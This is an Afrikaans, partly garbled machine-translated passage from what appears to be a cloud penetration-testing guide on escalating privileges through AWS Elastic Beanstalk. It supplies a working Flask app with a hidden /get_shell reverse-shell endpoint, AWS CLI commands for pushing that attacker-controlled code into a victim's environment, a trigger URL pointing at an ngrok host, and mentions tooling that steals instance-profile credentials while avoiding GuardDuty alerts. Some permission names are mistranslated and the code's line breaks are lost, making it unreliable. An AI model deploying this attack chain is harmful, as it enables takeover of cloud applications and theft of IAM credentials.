Om sensitiewe aksies in Beanstalk uit te voer, sal jy 'n baie sensitiewe toestemmings in baie verskillende dienste nodig hê. Jy kan byvoorbeeld die toestemmings wat aan arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk gegee word, nagaan.
elasticbeanstalk:RebuildEnvironment, S3 skryftoestemmings & baie ander
Met skryftoestemmings oor die S3-emmer wat die kode van die omgewing bevat en toestemmings om die toepassing te herbou (dit is nodig elasticbeanstalk:RebuildEnvironment en 'n paar meer verwante aan S3, EC2 en Cloudformation), kan jy die kode wysig, die program herbou en die volgende keer as jy die program besoek, sal dit jou nuwe kode uitvoer, wat die aanvaller in staat stel om die toepassing en die IAM rolgelde van dit te kompromiteer.
elasticbeanstalk:SkepAansoek, elasticbeanstalk:SkepOmgewing, elasticbeanstalk:SkepAansoekWeergawe, elasticbeanstalk:WerkOmgewingBij, iam:GeeRol, en meer...
Die genoemde sowel as verskeie S3, EC2, cloudformation ,autoscaling en elasticloadbalancing toestemmings is nodig om 'n rou Elastiese Beanstalk scenario van krap af te skep.
Eerstens moet jy 'n wettige Beanstalk-omgewing skep met die kode wat jy in die slagoffer wil hardloop volgens die vorige stappe. Moontlik 'n eenvoudige zip wat hierdie 2 lêers bevat:
from flask import Flask, request, jsonifyimport subprocess,os, socketapplication =Flask(__name__)@application.errorhandler(404)defpage_not_found(e):returnjsonify('404')@application.route("/")defindex():returnjsonify('Welcome!')@application.route("/get_shell")defsearch():host=request.args.get('host')port=request.args.get('port')if host and port:s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((host,int(port)))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])returnjsonify('done')if__name__=="__main__":application.run()
Sodra jy jou eie Beanstalk-omgewing laat loop met jou rev shell, is dit tyd om dit na die slagoffer se omgewing te migreer. Om dit te doen, moet jy die Emmerbeleid opdateer van jou beanstalk S3-emmer sodat die slagoffer daartoe toegang kan verkry (Let daarop dat dit die Emmer oop sal maak vir ALMAL):
# Use a new --version-label# Use the bucket from your own accountaws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"
# These step needs the extra permissionsawselasticbeanstalkupdate-environment--environment-nameMyEnv--version-labelMyApp-1.0# To get your rev shell just access the exposed web URL with params such as:http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).
The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.